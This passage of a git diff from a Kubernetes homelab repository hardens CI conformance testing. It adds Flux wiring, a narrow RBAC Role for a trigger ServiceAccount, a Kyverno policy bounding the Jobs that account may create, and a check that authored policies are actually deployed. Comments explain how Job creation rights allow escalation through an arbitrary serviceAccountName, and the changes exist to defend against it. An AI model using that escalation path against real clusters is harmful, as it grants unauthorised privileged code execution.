# dependsOn platform-config only — it needs nothing from the app waves, and nothing in the app
|
||||||
|
# waves needs it.
|
||||||
|
#
|
||||||
|
# NOTE: this reconciles RBAC that is INERT until
|
||||||
|
# platform/kyverno/admission/conformance-trigger-job-shape.yaml is also enforcing. That policy
|
||||||
|
# ships in the `platform` tier, which reconciles before this. Do not reorder them so that the
|
||||||
|
# trigger identity can exist while the policy bounding it does not.
|
||||||
|
apiVersion: kustomize.toolkit.fluxcd.io/v1
|
||||||
|
kind: Kustomization
|
||||||
|
metadata:
|
||||||
|
name: conformance
|
||||||
|
namespace: flux-system
|
||||||
|
spec:
|
||||||
|
interval: 10m
|
||||||
|
retryInterval: 2m
|
||||||
|
timeout: 5m
|
||||||
|
prune: true
|
||||||
|
wait: false
|
||||||
|
dependsOn:
|
||||||
|
- name: platform-config
|
||||||
|
sourceRef:
|
||||||
|
kind: GitRepository
|
||||||
|
name: flux-system
|
||||||
|
path: ./conformance/incluster
|
||||||
@@ -33,6 +33,7 @@ resources:
|
|||||||
- apps-wave-2.yaml # Flux Kustomization -> ./apps/wave-2 (dependsOn apps-wave-1)
|
- apps-wave-2.yaml # Flux Kustomization -> ./apps/wave-2 (dependsOn apps-wave-1)
|
||||||
# VM tier (KubeVirt) — non-gating (wait:false), separate lifecycle from the app waves.
|
# VM tier (KubeVirt) — non-gating (wait:false), separate lifecycle from the app waves.
|
||||||
- apps-vms.yaml # Flux Kustomization -> ./apps/vms (dependsOn platform-config)
|
- apps-vms.yaml # Flux Kustomization -> ./apps/vms (dependsOn platform-config)
|
||||||
|
- conformance.yaml # Flux Kustomization -> ./conformance/incluster (non-gating; R-SEC-02 trigger identity)
|
||||||
# oauth2-proxy forward-auth — POST-platform tier (dependsOn platform-config, wait:false). A leaf
|
# oauth2-proxy forward-auth — POST-platform tier (dependsOn platform-config, wait:false). A leaf
|
||||||
# service that needs Keycloak + trusted TLS + split-horizon DNS must NOT sit in the gating
|
# service that needs Keycloak + trusted TLS + split-horizon DNS must NOT sit in the gating
|
||||||
# `platform` tier, where it self-gated its own dependencies into a cold-start deadlock (twice).
|
# `platform` tier, where it self-gated its own dependencies into a cold-start deadlock (twice).
|
||||||
|
|||||||
@@ -0,0 +1,14 @@
|
|||||||
|
# Reconciled by clusters/base/conformance.yaml (non-gating, wait:false).
|
||||||
|
#
|
||||||
|
# RBAC ONLY. chainsaw-job.yaml is deliberately NOT listed: that manifest is a TEMPLATE the CI
|
||||||
|
# trigger renders and submits per run (with the commit SHA and the touched --requirements). Flux
|
||||||
|
# reconciling it would create a permanent Job object and fight the trigger for ownership.
|
||||||
|
#
|
||||||
|
# The identities here are inert without
|
||||||
|
# platform/kyverno/admission/conformance-trigger-job-shape.yaml, which is what actually bounds
|
||||||
|
# the trigger to the committed run shape. RBAC is the necessary half, that policy the sufficient
|
||||||
|
# half — see the header of rbac.yaml.
|
||||||
|
apiVersion: kustomize.config.k8s.io/v1beta1
|
||||||
|
kind: Kustomization
|
||||||
|
resources:
|
||||||
|
- rbac.yaml
|
||||||
@@ -174,3 +174,68 @@ subjects:
|
|||||||
- kind: ServiceAccount
|
- kind: ServiceAccount
|
||||||
name: conformance-runner
|
name: conformance-runner
|
||||||
namespace: conformance
|
namespace: conformance
|
||||||
|
---
|
||||||
|
# =============================================================================
|
||||||
|
# THE TRIGGER IDENTITY — deliberately NOT conformance-runner.
|
||||||
|
#
|
||||||
|
# THE ESCALATION THIS EXISTS TO CLOSE (docs/plans/l2-l3-conformance-ci-wiring.md §4):
|
||||||
|
# Kubernetes places NO `use` check on a Pod/Job's `serviceAccountName`. So any principal
|
||||||
|
# that can `create jobs` in this namespace can create a Job with
|
||||||
|
# `serviceAccountName: conformance-runner` and an ARBITRARY command — i.e. run arbitrary
|
||||||
|
# code with the runner's privileges (nodes/patch, pods/exec, namespaces/patch, jobs).
|
||||||
|
# A CI-held token with plain `create jobs` therefore IS the privileged identity, no matter
|
||||||
|
# how narrow its own RBAC looks. That would break R-SEC-02 ("CI holds no broad cluster
|
||||||
|
# access") while appearing to satisfy it.
|
||||||
|
#
|
||||||
|
# RBAC ALONE CANNOT FIX THIS. The real boundary is the admission policy
|
||||||
|
# platform/kyverno/admission/conformance-trigger-job-shape.yaml, which admits Jobs from
|
||||||
|
# THIS ServiceAccount only when they match the committed conformance shape. This Role is
|
||||||
|
# the necessary half; that policy is the sufficient half. Neither works alone — do not
|
||||||
|
# grant this Role without that policy reconciled and ENFORCING.
|
||||||
|
#
|
||||||
|
# Namespaced Role, bound only in `conformance`. No ClusterRole, deliberately.
|
||||||
|
# =============================================================================
|
||||||
|
apiVersion: v1
|
||||||
|
kind: ServiceAccount
|
||||||
|
metadata:
|
||||||
|
name: conformance-trigger
|
||||||
|
namespace: conformance
|
||||||
|
labels:
|
||||||
|
app.kubernetes.io/part-of: conformance
|
||||||
|
---
|
||||||
|
apiVersion: rbac.authorization.k8s.io/v1
|
||||||
|
kind: Role
|
||||||
|
metadata:
|
||||||
|
name: conformance-trigger
|
||||||
|
namespace: conformance
|
||||||
|
labels:
|
||||||
|
app.kubernetes.io/part-of: conformance
|
||||||
|
rules:
|
||||||
|
# Create the run, and watch it to completion.
|
||||||
|
- apiGroups: [batch]
|
||||||
|
resources: [jobs]
|
||||||
|
verbs: [create, get, list, watch]
|
||||||
|
# Read the Job's pod and its log — this is how results come back. Deliberately NOT
|
||||||
|
# pods/exec and NOT `kubectl cp`: the run tars its artifacts to stdout and CI decodes
|
||||||
|
# them from the log, so no execution channel into the runner pod is ever granted.
|
||||||
|
- apiGroups: [""]
|
||||||
|
resources: [pods, pods/log]
|
||||||
|
verbs: [get, list, watch]
|
||||||
|
# NOTHING ELSE. In particular NO delete on jobs (a trigger that can delete can hide a
|
||||||
|
# failed run), no secrets, no configmaps, no exec, no create on pods.
|
||||||
|
---
|
||||||
|
apiVersion: rbac.authorization.k8s.io/v1
|
||||||
|
kind: RoleBinding
|
||||||
|
metadata:
|
||||||
|
name: conformance-trigger
|
||||||
|
namespace: conformance
|
||||||
|
labels:
|
||||||
|
app.kubernetes.io/part-of: conformance
|
||||||
|
roleRef:
|
||||||
|
apiGroup: rbac.authorization.k8s.io
|
||||||
|
kind: Role
|
||||||
|
name: conformance-trigger
|
||||||
|
subjects:
|
||||||
|
- kind: ServiceAccount
|
||||||
|
name: conformance-trigger
|
||||||
|
namespace: conformance
|
||||||
@@ -0,0 +1,42 @@
|
|||||||
|
# =============================================================================
|
||||||
|
# L0 STATIC — every authored admission policy is actually APPLIED (R-SEC-01, R-SEC-02)
|
||||||
|
# Catalog: docs/14 L0 row ("Pre-apply, in CI") — runs WITHOUT a cluster.
|
||||||
|
#
|
||||||
|
# WHY THIS EXISTS. `kyverno test` proves a policy is CORRECT. Nothing proved it was DEPLOYED.
|
||||||
|
# platform/kyverno/ holds three lists and only platform-config/kustomization.yaml applies
|
||||||
|
# anything; the other two are a reference copy and a namespace+HelmRelease render root. On
|
||||||
|
# 2026-09-29 the R-SEC-02 boundary policy was added to the reference copy: it parsed, its
|
||||||
|
# kyverno test passed, the gate passed, Flux reported the tier Ready at the new revision — and
|
||||||
|
# the cluster ran the conformance-trigger ServiceAccount with nothing bounding it.
|
||||||
|
#
|
||||||
|
# WHOLE-REPO SCOPE, DELIBERATELY. The failure mode is a policy that is present but wired
|
||||||
|
# nowhere, which by definition touches no requirement the diff attributes. A path-scoped run
|
||||||
|
# would have skipped this check on the very commit that introduced the defect.
|
||||||
|
# =============================================================================
|
||||||
|
apiVersion: chainsaw.kyverno.io/v1alpha1
|
||||||
|
kind: Test
|
||||||
|
metadata:
|
||||||
|
name: admission-policies-actually-applied
|
||||||
|
labels:
|
||||||
|
conformance.home.k3s/R-SEC-01: "true"
|
||||||
|
conformance.home.k3s/R-SEC-02: "true"
|
||||||
|
annotations:
|
||||||
|
conformance.home.k3s/requirements: "R-SEC-01,R-SEC-02"
|
||||||
|
conformance.home.k3s/layer: "L0"
|
||||||
|
conformance.home.k3s/scope: "whole-repo"
|
||||||
|
conformance.home.k3s/safety-critical: "false"
|
||||||
|
conformance.home.k3s/executable: "true"
|
||||||
|
conformance.home.k3s/intent: >-
|
||||||
|
Every ClusterPolicy authored under platform/kyverno/ is either referenced by
|
||||||
|
platform-config/kustomization.yaml (so Flux applies it) or is a documented CI-only
|
||||||
|
exemption that is genuinely not applied — so a policy cannot be authored, tested,
|
||||||
|
green, and absent from the cluster.
|
||||||
|
spec:
|
||||||
|
steps:
|
||||||
|
- name: every-authored-policy-is-applied-or-documented-ci-only
|
||||||
|
description: >-
|
||||||
|
Enumerate the ClusterPolicy files under platform/kyverno/ and assert each is wired
|
||||||
|
into the Kustomization that actually applies Kyverno CRs, or exempted with a reason.
|
||||||
|
try:
|
||||||
|
- script:
|
||||||
|
content: bash ./check.sh
|
||||||
@@ -0,0 +1,120 @@
|
|||||||
|
#!/usr/bin/env bash
|
||||||
|
# =============================================================================
|
||||||
|
# L0 static check (offline, no cluster) — admission-policies-actually-applied
|
||||||
|
# Serves: R-SEC-01, R-SEC-02 (admission enforcement is only real if it is APPLIED)
|
||||||
|
#
|
||||||
|
# WHY THIS EXISTS — a policy that ships green and never reaches the cluster.
|
||||||
|
#
|
||||||
|
# platform/kyverno/ holds THREE lists, and only one of them applies anything:
|
||||||
|
# 1. platform/kyverno/admission/kustomization.yaml — reference only. Its own sibling says
|
||||||
|
# "kept as reference; THIS file is the buildable render root".
|
||||||
|
# 2. platform/kyverno/kustomization.yaml — that render root: namespace +
|
||||||
|
# HelmRelease ONLY. It explicitly notes the ClusterPolicies are applied elsewhere.
|
||||||
|
# 3. platform-config/kustomization.yaml — THE ONE. Kyverno CRs go here because
|
||||||
|
# they need the CRDs from the HelmRelease in (2), so they reconcile a tier later.
|
||||||
|
#
|
||||||
|
# On 2026-09-29 a ClusterPolicy (conformance-trigger-job-shape, the R-SEC-02 boundary bounding
|
||||||
|
# what the conformance CI trigger may create) was added to (1). Everything went green: the file
|
||||||
|
# parsed, `kyverno test` exercised it BY PATH and passed, the gate passed, Flux reported
|
||||||
|
# `platform` Ready at the new revision — and the policy was never in any applied set. The
|
||||||
|
# cluster ended up running the conformance-trigger ServiceAccount with NOTHING bounding it,
|
||||||
|
# which is precisely the state that identity's own RBAC header says must never exist.
|
||||||
|
#
|
||||||
|
# Nothing could have caught it. `kyverno test` proves a policy is CORRECT, not that it is
|
||||||
|
# DEPLOYED. This check asserts the second thing.
|
||||||
|
#
|
||||||
|
# GIVEN the repository as git tracks it,
|
||||||
|
# WHEN every file under platform/kyverno/ that declares a ClusterPolicy is enumerated,
|
||||||
|
# THEN each one is either referenced by platform-config/kustomization.yaml (so Flux applies
|
||||||
|
# it), or named in CI_ONLY below with a reason — and CI_ONLY itself may not name a
|
||||||
|
# policy that IS applied, so the exemption list cannot rot into a lie either way.
|
||||||
|
# =============================================================================
|
||||||
|
set -euo pipefail
|
||||||
|
DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
|
||||||
|
ROOT="$(cd "${DIR}/../../../.." && pwd)" # repo root
|
||||||
|
exec python3 - "$ROOT" <<'PY'
|
||||||
|
import sys, subprocess
|
||||||
|
from pathlib import Path
|
||||||
|
|
||||||
|
ROOT = Path(sys.argv[1])
|
||||||
|
FAILURES, CHECKS = [], 0
|
||||||
|
|
||||||
|
def check(cond, desc):
|
||||||
|
global CHECKS
|
||||||
|
CHECKS += 1
|
||||||
|
if not cond:
|
||||||
|
FAILURES.append(desc)
|
||||||
|
|
||||||
|
# Policies authored for the CI L0 gate that are deliberately NOT applied in-cluster. Each needs
|
||||||
|
# a reason, and each is asserted BELOW to really be absent from the applied set — an exemption
|
||||||
|
# that silently starts being applied is as much a lie as one that silently stops.
|
||||||
|
CI_ONLY = {
|
||||||
|
"disallow-plaintext-secrets":
|
||||||
|
"CI-only by design: it requires a top-level `sops` block, which is IMPOSSIBLE at "
|
||||||
|
"admission because Flux decrypts before the Secret reaches the API server. Its "
|
||||||
|
"in-cluster counterpart is admission/secret-provenance.yaml.",
|
||||||
|
}
|
||||||
|
|
||||||
|
tracked = subprocess.run(["git", "ls-files", "-z", "--", "platform/kyverno/**/*.yaml",
|
||||||
|
"platform/kyverno/*.yaml"],
|
||||||
|
cwd=ROOT, capture_output=True, text=True, check=True)
|
||||||
|
files = [ROOT / p for p in tracked.stdout.split("\0") if p]
|
||||||
|
|
||||||
|
# A ClusterPolicy file, identified without a YAML parse of every doc: cheap and sufficient.
|
||||||
|
policies = {}
|
||||||
|
for f in files:
|
||||||
|
try:
|
||||||
|
txt = f.read_text()
|
||||||
|
except Exception:
|
||||||
|
continue
|
||||||
|
if "kind: ClusterPolicy" not in txt:
|
||||||
|
continue
|
||||||
|
for line in txt.splitlines():
|
||||||
|
st = line.strip()
|
||||||
|
if st.startswith("name:") and " name:" in line:
|
||||||
|
policies[f.relative_to(ROOT).as_posix()] = st.split("name:", 1)[1].strip()
|
||||||
|
break
|
||||||
|
|
||||||
|
check(len(policies) >= 6,
|
||||||
|
f"(0) the scan found {len(policies)} ClusterPolicy file(s) under platform/kyverno/ — "
|
||||||
|
f"too few means the scan broke, and every assertion below would be vacuous")
|
||||||
|
|
||||||
|
applied_txt = (ROOT / "platform-config" / "kustomization.yaml").read_text()
|
||||||
|
|
||||||
|
unapplied, wrongly_exempt = [], []
|
||||||
|
for rel, name in sorted(policies.items()):
|
||||||
|
# platform-config references these as ../platform/kyverno/...
|
||||||
|
referenced = rel in applied_txt or rel.replace("platform/", "../platform/", 1) in applied_txt
|
||||||
|
if name in CI_ONLY:
|
||||||
|
if referenced:
|
||||||
|
wrongly_exempt.append(f"{name} ({rel}) is listed CI_ONLY but IS applied by platform-config")
|
||||||
|
elif not referenced:
|
||||||
|
unapplied.append(f"{name} ({rel})")
|
||||||
|
|
||||||
|
check(not unapplied,
|
||||||
|
f"(1) every in-cluster ClusterPolicy is referenced by platform-config/kustomization.yaml "
|
||||||
|
f"— an unreferenced policy is authored, tested, green, and NEVER APPLIED {unapplied if unapplied else ''}")
|
||||||
|
|
||||||
|
check(not wrongly_exempt,
|
||||||
|
f"(2) no CI_ONLY exemption names a policy that IS applied — a stale exemption hides a "
|
||||||
|
f"real deployment {wrongly_exempt if wrongly_exempt else ''}")
|
||||||
|
|
||||||
|
for name, reason in CI_ONLY.items():
|
||||||
|
check(bool(reason.strip()),
|
||||||
|
f"(3) CI_ONLY['{name}'] carries a reason — an unexplained exemption is how this "
|
||||||
|
f"list stops being reviewable")
|
||||||
|
|
||||||
|
check(CHECKS >= 4,
|
||||||
|
f"only {CHECKS} assertions ran — the check degenerated to a near-no-op")
|
||||||
|
|
||||||
|
if FAILURES:
|
||||||
|
print(f"CHECK FAIL (admission-policies-actually-applied): {len(FAILURES)} of {CHECKS} assertions failed",
|
||||||
|
file=sys.stderr)
|
||||||
|
for f in FAILURES:
|
||||||
|
print(f" - {f}", file=sys.stderr)
|
||||||
|
raise SystemExit(1)
|
||||||
|
print(f"check OK: admission-policies-actually-applied — {CHECKS} assertions; "
|
||||||
|
f"{len(policies)} ClusterPolicy file(s), {len(policies) - len(CI_ONLY)} applied by "
|
||||||
|
f"platform-config, {len(CI_ONLY)} CI-only with reasons. Proves policies are DEPLOYED, "
|
||||||
|
f"not that they are correct — `kyverno test` is what proves correctness.")
|
||||||
|
PY
|
||||||
@@ -216,6 +216,20 @@ def is_literal_base(host: str) -> bool:
|
|||||||
DELIVERY_ROOTS = ("apps", "platform", "platform-config", "platform-config-cdi",
|
DELIVERY_ROOTS = ("apps", "platform", "platform-config", "platform-config-cdi",
|
||||||
"runbooks", "clusters", "bootstrap", "catalog")
|
"runbooks", "clusters", "bootstrap", "catalog")
|
||||||
|
|
||||||
|
# NARROW EXEMPTION to (0), for reconciled trees that deliberately serve NOTHING.
|
||||||
|
# `conformance/incluster` (the L2/L3 runner + CI-trigger identities, R-SEC-02) is reconciled
|
||||||
|
# by clusters/base/conformance.yaml but contains only a Namespace, ServiceAccounts, RBAC and
|
||||||
|
# an admission-bounded Job template. Adding "conformance" to DELIVERY_ROOTS instead would be
|
||||||
|
# wrong for the reason stated above: it would sweep in this harness's synthetic fixture
|
||||||
|
# routes and make (8) demand the operator's dashboard link them.
|
||||||
|
#
|
||||||
|
# THE EXEMPTION POLICES ITSELF. An unchecked allowlist is how (0) would rot into a fail-open —
|
||||||
|
# add a tree here, later put an HTTPRoute in it, and the forward direction goes quietly green
|
||||||
|
# on a hidden service. So each exempted tree is ASSERTED below to declare no route and no
|
||||||
|
# hostname-publishing Service. If that ever stops being true the check fails and the tree must
|
||||||
|
# become a real delivery root.
|
||||||
|
NON_SERVING_RECONCILED = ("conformance/incluster",)
|
||||||
|
|
||||||
|
|
||||||
def tracked_yaml() -> list[Path]:
|
def tracked_yaml() -> list[Path]:
|
||||||
out = subprocess.run(["git", "ls-files", "-z", "--", "*.yaml", "*.yml"],
|
out = subprocess.run(["git", "ls-files", "-z", "--", "*.yaml", "*.yml"],
|
||||||
@@ -262,12 +276,31 @@ flux_ks = [(p, d) for p, d in docs_all()
|
|||||||
# a Kustomization declared elsewhere); they name no source and reconcile nothing, so requiring
|
# a Kustomization declared elsewhere); they name no source and reconcile nothing, so requiring
|
||||||
# a path of them would fail on a file that is correct.
|
# a path of them would fail on a file that is correct.
|
||||||
reconcilers = [(p, d) for p, d in flux_ks if (d.get("spec", {}) or {}).get("sourceRef")]
|
reconcilers = [(p, d) for p, d in flux_ks if (d.get("spec", {}) or {}).get("sourceRef")]
|
||||||
|
def _reconciled_path(d):
|
||||||
|
return (d.get("spec", {}) or {}).get("path", "").lstrip("./").rstrip("/")
|
||||||
|
|
||||||
|
|
||||||
unscanned = sorted({
|
unscanned = sorted({
|
||||||
f"{p.relative_to(ROOT)}:{(d.get('spec', {}) or {}).get('path', '') or '(no path)'}"
|
f"{p.relative_to(ROOT)}:{(d.get('spec', {}) or {}).get('path', '') or '(no path)'}"
|
||||||
for p, d in reconcilers
|
for p, d in reconcilers
|
||||||
if (d.get("spec", {}) or {}).get("path", "").lstrip("./").split("/")[0]
|
if _reconciled_path(d).split("/")[0] not in DELIVERY_ROOTS
|
||||||
not in DELIVERY_ROOTS
|
and _reconciled_path(d) not in NON_SERVING_RECONCILED
|
||||||
})
|
})
|
||||||
|
|
||||||
|
# The exemption's own guard: an exempted tree must actually serve nothing.
|
||||||
|
exempt_serving = sorted({
|
||||||
|
f"{p.relative_to(ROOT)} ({d.get('kind')})"
|
||||||
|
for p, d in docs_all()
|
||||||
|
if any(str(p.relative_to(ROOT)).startswith(t + "/") for t in NON_SERVING_RECONCILED)
|
||||||
|
and (d.get("kind") == "HTTPRoute"
|
||||||
|
or (d.get("kind") == "Service"
|
||||||
|
and any("hostname" in str(k).lower()
|
||||||
|
for k in ((d.get("metadata", {}) or {}).get("annotations", {}) or {}))))
|
||||||
|
})
|
||||||
|
check(not exempt_serving,
|
||||||
|
f"(0b) every NON_SERVING_RECONCILED tree really serves nothing — an exempted tree that "
|
||||||
|
f"gains a route would hide a service from this check entirely "
|
||||||
|
f"{exempt_serving if exempt_serving else ''}")
|
||||||
check(len(reconcilers) >= 10 and not unscanned,
|
check(len(reconcilers) >= 10 and not unscanned,
|
||||||
f"(0) all {len(reconcilers)} Flux-reconciled path(s) lie inside a scanned root — a "
|
f"(0) all {len(reconcilers)} Flux-reconciled path(s) lie inside a scanned root — a "
|
||||||
f"reconciled tree this check does not read is a service it cannot require a link for "
|
f"reconciled tree this check does not read is a service it cannot require a link for "
|
||||||
|
|||||||
@@ -38,8 +38,21 @@ agents. So the credential model must be decided by the operator before anything
|
|||||||
| Runner deployment | `apps/wave-1/gitea-actions.yaml` | act_runner + DinD (Docker executor). **`automountServiceAccountToken: false`** — the runner and its job containers hold NO SA token. Broad egress allowed (`- {}`), so it can *reach* the kube-API VIP `192.168.1.49:6443`, but has no credential. |
|
| Runner deployment | `apps/wave-1/gitea-actions.yaml` | act_runner + DinD (Docker executor). **`automountServiceAccountToken: false`** — the runner and its job containers hold NO SA token. Broad egress allowed (`- {}`), so it can *reach* the kube-API VIP `192.168.1.49:6443`, but has no credential. |
|
||||||
| Secrets encryption | `.sops.yaml` (repo root) | age recipient `age175l8m…mfzg`; encrypts `data`/`stringData` of `*.sops.yaml` under `platform|apps|catalog/**` and `secrets/**`. Private key is the in-cluster `sops-age` Secret Flux uses. |
|
| Secrets encryption | `.sops.yaml` (repo root) | age recipient `age175l8m…mfzg`; encrypts `data`/`stringData` of `*.sops.yaml` under `platform|apps|catalog/**` and `secrets/**`. Private key is the in-cluster `sops-age` Secret Flux uses. |
|
||||||
|
|
||||||
**Cluster reality:** the "Phase 0 / no cluster" language in these files is stale — the dev cluster
|
**Cluster reality:** the "Phase 0 / no cluster" language in these files is stale — the cluster is
|
||||||
is LIVE (Phase 6). So `CLUSTER_AVAILABLE` is the only remaining gate, exactly as the blueprint says.
|
LIVE (and it is now PROD; dev was decommissioned 2026-09-12).
|
||||||
|
|
||||||
|
> **CORRECTION (2026-09-29): `CLUSTER_AVAILABLE` is NOT "the only remaining gate", and setting it
|
||||||
|
> today is actively DANGEROUS.** Measured: with `CLUSTER_AVAILABLE=true` and no reachable cluster,
|
||||||
|
> `conformance/run.sh` exits 0 in scaffold mode having marked all 54 tests `<skipped>`, and
|
||||||
|
> `ci/conformance.sh` then printed `[ ok ] L2/L3 conformance passed for touched subset` — **rc 0, a
|
||||||
|
> fake green**, on a merge gate that is now an enforcing required status check. The CI runner has
|
||||||
|
> no cluster credential at all (`automountServiceAccountToken: false`, by design), so the "local
|
||||||
|
> run" this stage attempts can never succeed; it can only skip and, before the guard added on
|
||||||
|
> 2026-09-29, lie about it.
|
||||||
|
>
|
||||||
|
> `ci/conformance.sh` now BLOCKS (exit 1) when a cluster is declared but every test skipped. **Do
|
||||||
|
> not set `CLUSTER_AVAILABLE=true` until §3's trigger path actually exists** — the variable does
|
||||||
|
> not enable L2/L3, it only changes which way this stage fails.
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
|
|||||||
@@ -0,0 +1,28 @@
|
|||||||
|
{
|
||||||
|
"_intent": "The CI/CD pipeline is the approver. A human approval is required ONLY for changes that alter what the pipeline itself verifies, or the security posture it rests on -- because those are the changes CI cannot honestly gate: a PR that weakens the gate would be approved by the weakened gate.",
|
||||||
|
"_rule": "If a PR touches any sensitive_paths glob, it needs an APPROVED review from someone who is not its author. Everything else merges on a green gate alone.",
|
||||||
|
"_on_failure_to_evaluate": "BLOCK. Unlike gitea-settings, a skip here is a bypass, not a gap.",
|
||||||
|
"sensitive_paths": [
|
||||||
|
"ci/**",
|
||||||
|
".gitea/**",
|
||||||
|
"conformance/**",
|
||||||
|
"clusters/**",
|
||||||
|
"bootstrap/**",
|
||||||
|
"infra/gitea/**",
|
||||||
|
"platform/kyverno/**",
|
||||||
|
"platform-config/kustomization.yaml",
|
||||||
|
".sops.yaml",
|
||||||
|
"**/*.sops.yaml",
|
||||||
|
"**/rbac.yaml",
|
||||||
|
"CLAUDE.md"
|
||||||
|
],
|
||||||
|
"_why_each": {
|
||||||
|
"ci/**, .gitea/**": "the pipeline itself -- the thing doing the approving",
|
||||||
|
"conformance/**": "the tests and the harness; changing them changes what green MEANS",
|
||||||
|
"clusters/**, bootstrap/**": "Flux wiring -- what reconciles, in what order, with what substitution",
|
||||||
|
"infra/gitea/**, platform-config/kustomization.yaml": "branch protection, the drift detector, and the list that decides which admission policies are actually applied",
|
||||||
|
"platform/kyverno/**": "the admission policy engine",
|
||||||
|
".sops.yaml, **/*.sops.yaml, **/rbac.yaml": "encryption recipients, secrets, and cluster authority",
|
||||||
|
"CLAUDE.md": "the delivery contract agents follow"
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -34,6 +34,14 @@ resources:
|
|||||||
# policies, the next import is blocked in the gap.
|
# policies, the next import is blocked in the gap.
|
||||||
- ../platform/kyverno/policies/label-cdi-worker-pods.yaml
|
- ../platform/kyverno/policies/label-cdi-worker-pods.yaml
|
||||||
- ../platform/kyverno/admission/secret-provenance.yaml
|
- ../platform/kyverno/admission/secret-provenance.yaml
|
||||||
|
# R-SEC-02 — bounds what the conformance CI trigger may create. MUST be listed HERE: this
|
||||||
|
# Kustomization is what actually applies ClusterPolicies. Adding a policy only to
|
||||||
|
# platform/kyverno/admission/kustomization.yaml is a SILENT NO-OP — that file is reference
|
||||||
|
# only ("kept as reference; THIS file is the buildable render root" in
|
||||||
|
# platform/kyverno/kustomization.yaml, which itself ships only the namespace + HelmRelease).
|
||||||
|
# That is exactly how this policy shipped green and never reached the cluster on 2026-09-29,
|
||||||
|
# leaving the conformance-trigger identity live with nothing bounding it.
|
||||||
|
- ../platform/kyverno/admission/conformance-trigger-job-shape.yaml
|
||||||
# cilium: L2 LB IP pool + announcement policy (cilium.io CRDs already registered by Cilium)
|
# cilium: L2 LB IP pool + announcement policy (cilium.io CRDs already registered by Cilium)
|
||||||
- cilium/l2-ip-pool.yaml
|
- cilium/l2-ip-pool.yaml
|
||||||
- cilium/l2-announcement-policy.yaml
|
- cilium/l2-announcement-policy.yaml
|
||||||
|
|||||||
@@ -0,0 +1,144 @@
|
|||||||
|
# Serves: R-SEC-02 (CI holds no broad cluster access)
|
||||||
|
#
|
||||||
|
# THIS POLICY IS THE SECURITY BOUNDARY. The RBAC in conformance/incluster/rbac.yaml is not.
|
||||||
|
#
|
||||||
|
# Kubernetes places NO `use` check on a Pod/Job's `serviceAccountName`. Any principal that can
|
||||||
|
# `create jobs` in namespace `conformance` can therefore create a Job that runs as
|
||||||
|
# `conformance-runner` — a privileged SA (nodes/patch, pods/exec, namespaces/patch) — with an
|
||||||
|
# arbitrary command. So the CI trigger credential, however narrow its own Role looks, IS the
|
||||||
|
# privileged identity unless something constrains the SHAPE of what it may create.
|
||||||
|
#
|
||||||
|
# That is what this does: for Jobs created by `conformance-trigger` ONLY, admit exactly the
|
||||||
|
# committed conformance run and deny everything else. The operator chose this model
|
||||||
|
# (docs/plans/l2-l3-conformance-ci-wiring.md §4, primary model) over the zero-credential
|
||||||
|
# GitOps-native alternative.
|
||||||
|
#
|
||||||
|
# ENFORCE AND FAIL-CLOSED, NOT SUBSTITUTED. Note this does NOT use
|
||||||
|
# ${KYVERNO_VALIDATION_ACTION} like the other admission policies: a security boundary that an
|
||||||
|
# environment overlay can downgrade to Audit is not a boundary. `failurePolicy: Fail` means a
|
||||||
|
# Kyverno outage blocks conformance Jobs rather than silently admitting unconstrained ones.
|
||||||
|
# Blocking CI is the correct failure direction here; admitting arbitrary privileged code is not.
|
||||||
|
#
|
||||||
|
# SCOPE: it constrains ONLY `conformance-trigger`. Jobs created by humans, by Flux, or by any
|
||||||
|
# other SA are untouched — so a broken policy cannot wedge the rest of the cluster.
|
||||||
|
#
|
||||||
|
# IMAGE PINNING — HONEST LIMIT, READ BEFORE RELYING ON THIS. The plan specifies pinning the
|
||||||
|
# exact `CONFORMANCE_RUNNER_IMAGE` digest. That image does not exist yet, so this enforces the
|
||||||
|
# enforceable half: the image must live under the conformance repository path AND be
|
||||||
|
# digest-pinned (`@sha256:`), never a mutable tag. Residual surface: anyone who can PUSH to that
|
||||||
|
# registry path could publish a different digest. TIGHTEN THIS when the image is built by
|
||||||
|
# replacing the `image` pattern below with the literal digest — a one-line change, reviewed in a
|
||||||
|
# PR, which is exactly where a change to the security boundary belongs.
|
||||||
|
apiVersion: kyverno.io/v1
|
||||||
|
kind: ClusterPolicy
|
||||||
|
metadata:
|
||||||
|
name: conformance-trigger-job-shape
|
||||||
|
annotations:
|
||||||
|
policies.kyverno.io/title: Constrain what the conformance CI trigger may create
|
||||||
|
policies.kyverno.io/category: Supply chain
|
||||||
|
policies.kyverno.io/severity: critical
|
||||||
|
homelab.keithjackson.dev/requirements: R-SEC-02
|
||||||
|
homelab.keithjackson.dev/scope: admission-only
|
||||||
|
spec:
|
||||||
|
validationFailureAction: Enforce
|
||||||
|
failurePolicy: Fail
|
||||||
|
background: false
|
||||||
|
rules:
|
||||||
|
- name: trigger-may-create-only-the-committed-conformance-run
|
||||||
|
# resources AND subjects in the SAME filter entry — that is how Kyverno ANDs them.
|
||||||
|
# As two separate `all` entries it is a schema error ("match resources not specified")
|
||||||
|
# and the whole policy loads as INVALID, which the CLI reports as a SKIP.
|
||||||
|
match:
|
||||||
|
all:
|
||||||
|
- resources:
|
||||||
|
kinds:
|
||||||
|
- Job
|
||||||
|
namespaces:
|
||||||
|
- conformance
|
||||||
|
subjects:
|
||||||
|
- kind: ServiceAccount
|
||||||
|
name: conformance-trigger
|
||||||
|
namespace: conformance
|
||||||
|
validate:
|
||||||
|
message: >-
|
||||||
|
conformance-trigger may create ONLY the committed conformance run: a single container,
|
||||||
|
digest-pinned conformance-runner image, serviceAccountName conformance-runner,
|
||||||
|
command ["./run.sh"], no host namespaces, non-root with privilege escalation disabled,
|
||||||
|
and only the `workspace` and `results` volumes. See
|
||||||
|
platform/kyverno/admission/conformance-trigger-job-shape.yaml.
|
||||||
|
pattern:
|
||||||
|
spec:
|
||||||
|
template:
|
||||||
|
spec:
|
||||||
|
serviceAccountName: conformance-runner
|
||||||
|
=(hostNetwork): "false"
|
||||||
|
=(hostPID): "false"
|
||||||
|
=(hostIPC): "false"
|
||||||
|
containers:
|
||||||
|
- image: "gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:*"
|
||||||
|
command:
|
||||||
|
- "./run.sh"
|
||||||
|
securityContext:
|
||||||
|
runAsNonRoot: true
|
||||||
|
allowPrivilegeEscalation: false
|
||||||
|
=(privileged): "false"
|
||||||
|
|
||||||
|
- name: trigger-volumes-must-be-workspace-or-results
|
||||||
|
